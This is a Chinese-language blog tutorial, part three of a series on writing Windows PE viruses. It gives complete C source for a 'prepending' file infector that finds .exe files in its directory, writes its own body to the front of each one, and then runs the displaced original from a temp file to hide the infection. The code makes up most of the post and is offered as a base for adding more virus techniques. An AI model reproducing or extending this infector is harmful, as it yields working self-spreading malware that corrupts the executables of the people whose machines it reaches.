關於PE病毒編寫的學習(三)

歷史上,在windows95發佈後,用高級語言編寫的外殼病毒,經過簡單地改造編譯,就能從DOS平臺遷移到windows平臺上。

並且在這當中很多“前置病毒”,僅僅需要重新編譯。

 

另外之所以用“前置病毒”作爲第一分析樣本,理由如下:

1.它具有基本病毒功能模塊,這些模塊在文件型病毒中是通用的

2.其框架結構,所需病毒技巧極少

3.拓展方便,通過不斷地加入新功能,循序漸進的學習各種病毒技巧

4.加載新模塊方便,適合測試其它病毒的某些功能模塊

 

那麼何謂“前置病毒”?

 圖解:

文件型病毒至少有這四個模塊:

1.條件模塊:判斷觸發條件和尋找符合條件的宿主文件

2.破壞模塊:

3.感染模塊:

4.宿主程序引導模塊:將病毒的控制權移交給所觸發病毒文件的宿主程序

 

樣例:

1.條件模塊:

   功能:搜索病毒文件所在目錄中,規定數目的exe文件

//打開符合條件的文件

HANDLE OpenHostFile(const WIN32_FIND_DATA *pHost,DWORD *nCount)
{
 HANDLE hHost=CreateFile(pHost->cFileName,
       GENERIC_READ|GENERIC_WRITE,
       FILE_SHARE_READ|FILE_SHARE_WRITE,
       0,
       OPEN_EXISTING,
       NULL,
       NULL);
 if(hHost!=INVALID_HANDLE_VALUE)
  (*nCount)++;
 return hHost;
}

//搜索函數
DWORD FindHostFile(HANDLE *szHostFileHandle,DWORD dwFindNumber)
{
 DWORD dwResult=0;
 WIN32_FIND_DATA fd;
 HANDLE hFirst=FindFirstFile(_T("*.exe"),&fd);
 szHostFileHandle[0]=OpenHostFile(&fd,&dwResult);
 while(dwResult<dwFindNumber)
 {
  DWORD dwTemp=dwResult;
  if(FindNextFile(hFirst,&fd))
  {
   HANDLE hTemp=OpenHostFile(&fd,&dwResult);
   if(INVALID_HANDLE_VALUE!=hTemp)
    szHostFileHandle[dwTemp]=hTemp;
  }
  else
   break;
 }
 return dwResult;
}

 

2.感染模塊:

   功能:將病毒文件注入宿主文件,將原宿主文件向後移動

//定義病毒大小,使用全局變量是因爲其它模塊也要用到,53248是代碼在VC2005  Debug模式下的生成文件大小,但並非都是這樣,請自行確定,如果大小錯誤,那麼感染後的文件運行會出錯。

DWORD dwVirusSize=40960;
//感染模塊
void Infect(HANDLE hHostFile,HANDLE hLocalFile)
{

 DWORD dwHostSize=GetFileSize(hHostFile,0);
 DWORD dwReadSize=0;
 DWORD dwWriteSize=0;

 char *pLocalTempBuf=(char*)malloc(sizeof(char)*dwVirusSize);
 char *pHostTempBuf=(char*)malloc(sizeof(char)*dwHostSize);
 ReadFile(hLocalFile,pLocalTempBuf,dwVirusSize,&dwReadSize,NULL);
 ReadFile(hHostFile,pHostTempBuf,dwHostSize,&dwReadSize,NULL);

 SetFilePointer(hHostFile,0,0,FILE_BEGIN);
 WriteFile(hHostFile,pLocalTempBuf,dwVirusSize,&dwWriteSize,NULL);
 WriteFile(hHostFile,pHostTempBuf,dwHostSize,&dwWriteSize,NULL);

//清理工作
 SetFilePointer(hLocalFile,0,0,FILE_BEGIN);
 free(pLocalTempBuf);
 free(pHostTempBuf);
}

 

3.破壞模塊:

  功能:僅僅打印提示。
VOID Destory()
{
 MessageBox(NULL,_T("我保證什麼都不做"),_T("Test"),MB_OK);
}

 

4.宿主程序引導模塊

   功能:創建臨時文件,將所觸發的病毒文件的宿主程序寫入,然後啓動

VOID JumpLocalHostFile(HANDLE hLocalFile)
{
 DWORD nCount=0;
 DWORD dwLocalFileSize=GetFileSize(hLocalFile,0);
 if(dwLocalFileSize==dwVirusSize)
  return ;
 char *pTemp=(char*)malloc(sizeof(char)*(dwLocalFileSize-dwVirusSize));
 ReadFile(hLocalFile,pTemp,(dwLocalFileSize-dwVirusSize),&nCount,NULL);

 TCHAR szLocalPath[MAX_PATH];
 TCHAR szTempPath[MAX_PATH];
 TCHAR szTempName[50];
 GetModuleFileName(NULL,szLocalPath,sizeof(szLocalPath));
 GetTempPath(MAX_PATH,szTempPath);
 GetFileTitle(szLocalPath,szTempName,50);
 wcscat(szTempPath,szTempName);
 HANDLE hJumpHost=CreateFile(szTempPath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_NEW,NULL,NULL);
 if(hJumpHost==INVALID_HANDLE_VALUE)
  return ;
 WriteFile(hJumpHost,pTemp,(dwLocalFileSize-dwVirusSize),&nCount,NULL);
 free(pTemp);
 CloseHandle(hJumpHost);

 PROCESS_INFORMATION information;
 STARTUPINFO si = {sizeof(si)};

 if(CreateProcess(szTempPath,NULL,
      NULL,NULL,
      FALSE,NORMAL_PRIORITY_CLASS,
      NULL,NULL,
      &si,&information))
 {
  WaitForSingleObject(information.hProcess,INFINITE);
  DeleteFile(szTempPath);
 }

}

 

5.程序入口

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <Commdlg.h>
int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)

{
 TCHAR szLocalPath[MAX_PATH];
 GetModuleFileName(NULL,szLocalPath,sizeof(szLocalPath));
 HANDLE hLocalFileHandle=CreateFile(szLocalPath,
       GENERIC_READ,
       FILE_SHARE_READ,
       0,
       OPEN_EXISTING,
       NULL,
       NULL);
 HANDLE szHostHandle[3];
 DWORD dwFoundFileNumber=FindHostFile(szHostHandle,3);
 Destory();
 

 for(DWORD i=0;i<dwFoundFileNumber;i++)
 {
  Infect(szHostHandle[i],hLocalFileHandle);
  CloseHandle(szHostHandle[i]);
 }

 JumpLocalHostFile(hLocalFileHandle);
 CloseHandle(hLocalFileHandle);
 return 0;
}

 

後面幾章,我們將逐漸優化這段代碼,加入新功能,來學習病毒技巧,爲將來的PE病毒打基礎

發佈了41 篇原創文章 · 獲贊 4 · 訪問量 14萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章